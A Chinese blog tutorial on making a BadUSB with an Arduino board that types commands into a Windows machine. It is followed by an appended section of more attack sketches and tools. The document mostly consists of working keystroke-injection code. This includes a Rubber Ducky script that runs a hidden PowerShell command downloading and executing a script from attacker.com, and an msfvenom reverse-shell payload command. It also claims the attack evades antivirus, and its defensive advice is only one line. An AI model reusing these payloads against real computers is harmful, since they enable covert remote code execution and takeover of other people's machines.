简易BadUSB,攻击效果不简单

本文介绍了一种名为BadUSB的攻击方式,通过Arduino开发板模拟键盘和鼠标操作,实现在目标计算机上执行恶意命令,如弹出警告窗口、关闭窗口及从远程服务器下载文件等操作。文章还提供了一些关键代码示例。

不久前,有小伙伴在实验室捡到一个U盘,想看看是谁的就插在了自己的电脑上,结果出现了安全软件的报毒通知……

也是因为这件事有了制作一个BadUSB的想法,可以在不被杀毒软件发现的情况下进行一些操作。

一、前期准备

Arduino:

这里使用的是BS Micro pro micro leonardo Arduino开发板。

Arduino IDE:

二、原理

BadUSB插入后会模拟键盘、鼠标对电脑进行操作,通过这些操作可以打开CMD或者Powershell并输入命令,通过这些命令可以进行简单操作或者更深一步从服务器下载文件执行。通过下载的.exe及.ps1等文件可以实现信息窃取、发送邮件等,从而达到控制目标机或者窃取信息等目的。

 

三、过程

(1)实现弹窗

关键代码:

Keyboard.press(KEY_LEFT_GUI);

Keyboard.press('r');

Keyboard.print("mshta vbscript:msgbox(\"lalala\",64,\"lalalatitle\")(window.close)");

Keyboard.press(KEY_RETURN);

(2)关闭所有窗口

关键代码:

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press(KEY_F4);

Keyboard.press(KEY_RETURN);

正常情况下是Alt+F4循环使用的效果是关闭所有窗口,但很大概率会出现自动关机的状况……

(3)从服务器端下载文件

关键代码:

Keyboard.press(KEY_LEFT_CTRL);

Keyboard.press(KEY_ESC);

Keyboard.releaseAll();

Keyboard.print("powershell");

Keyboard.press(KEY_RETURN);

Keyboard.print("(new-object System.Net.WebClient).DownloadFile('http://www.example.com/example.html','d:lalala.html')");

这里只是下载了一个命名为lalala.html的文件,如果下载一个可执行文件或者Powershell脚本可以做到更多的事!

因为BadUSB模仿的是键盘、鼠标操作,所以常规的安全软件、杀毒软件不能起作用,当然防范起来也很简单:只要不让不受你信任的USB插入你心爱的电脑就不存在安全问题。但是好奇心驱使下还是有很多人会将“捡到”的U盘插入自己的电脑看看是谁的U盘、里面有什么文件。看到这篇文章之后要对来路不明的USB设备多一点防备了。

如果想要了解更多网络空间安全知识,请访问 http://www.sectown.cn/?from=oschina,或者搜索 Sectown 。

转载于:https://my.oschina.net/u/3612774/blog/1620625

BadUSB攻击通常涉及硬件设备的编程,使其在插入目标主机时模拟成其他类型的设备(如键盘、网络适配器等),从而执行恶意操作。这种攻击方式常用于渗透测试中的社会工程场景,利用人们对未知USB设备的好奇心进行入侵[^1]。以下是一些常见的BadUSB攻击代码实现示例及常用渗透测试工具。 ### 3.1 使用 Arduino Leonardo 实现 HID 攻击 Arduino Leonardo 是一种常用的微控制器,可以模拟成键盘设备,执行预定义的按键指令,实现自动化攻击。 ```cpp #include <Keyboard.h> void setup() { // 启动键盘 Keyboard.begin(); delay(1000); // 等待设备初始化 // 模拟按下 Win + R 打开运行窗口 Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(100); Keyboard.releaseAll(); delay(500); // 输入命令并执行 Keyboard.print("notepad.exe"); Keyboard.press(KEY_ENTER); Keyboard.release(KEY_ENTER); delay(1000); // 输入文本 Keyboard.print("You have been hacked by BadUSB!"); delay(1000); // 结束 Keyboard.end(); } ``` 该代码会在插入设备后打开记事本并输入提示信息,适用于演示或基础攻击场景。 ### 3.2 使用 Hak5 USB Rubber Ducky 实现命令注入 Rubber Ducky 是一种专为BadUSB攻击设计的设备,使用Ducky Script语言编写攻击脚本,支持快速执行PowerShell、CMD等命令。 ```ducky DELAY 1000 GUI r DELAY 500 STRING powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" ENTER ``` 该脚本会在插入设备后打开“运行”窗口,执行一段隐藏的PowerShell命令,从远程服务器下载并执行恶意脚本[^1]。 ### 3.3 使用 Teensy 微控制器模拟键盘行为 Teensy 是另一种常用于BadUSB攻击的微控制器,具备更高的灵活性和可编程性,适合定制化攻击载荷。 ```cpp #include <Keyboard.h> void setup() { Keyboard.begin(); delay(1000); // Win + R Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); delay(500); // 输入命令 Keyboard.print("cmd /c calc.exe"); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); delay(1000); Keyboard.end(); } ``` 该代码会模拟按下 Win+R 并运行 `calc.exe`,适用于演示或更复杂的攻击流程。 --- ### 3.4 常用渗透测试工具与资源 以下是一些常见的BadUSB渗透测试工具和GitHub资源: - **USB Rubber Ducky Toolkit** [GitHub 项目](https://github.com/hak5darren/USB-Rubber-Ducky) 提供完整的Ducky Script编写与编译工具链,适用于快速部署攻击载荷。 - **Teensy Loader** [PJRC 官网](https://www.pjrc.com/teensy/loader.html) 提供Teensy系列微控制器的固件烧录工具,支持C/C++编写自定义攻击逻辑。 - **BadUSB Framework** [GitHub 上的 BadUSB 框架](https://github.com/ernw/badusb) 提供多种攻击场景的示例代码,涵盖HID攻击、网络欺骗等。 - **Arduino IDE** [Arduino 官方网站](https://www.arduino.cc/) 提供开发环境支持,适用于快速部署基于Arduino Leonardo的BadUSB攻击。 - **Metasploit Framework** 在成功执行初始载荷后,可使用 Metasploit 生成反向 Shell 或 Meterpreter 会话: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值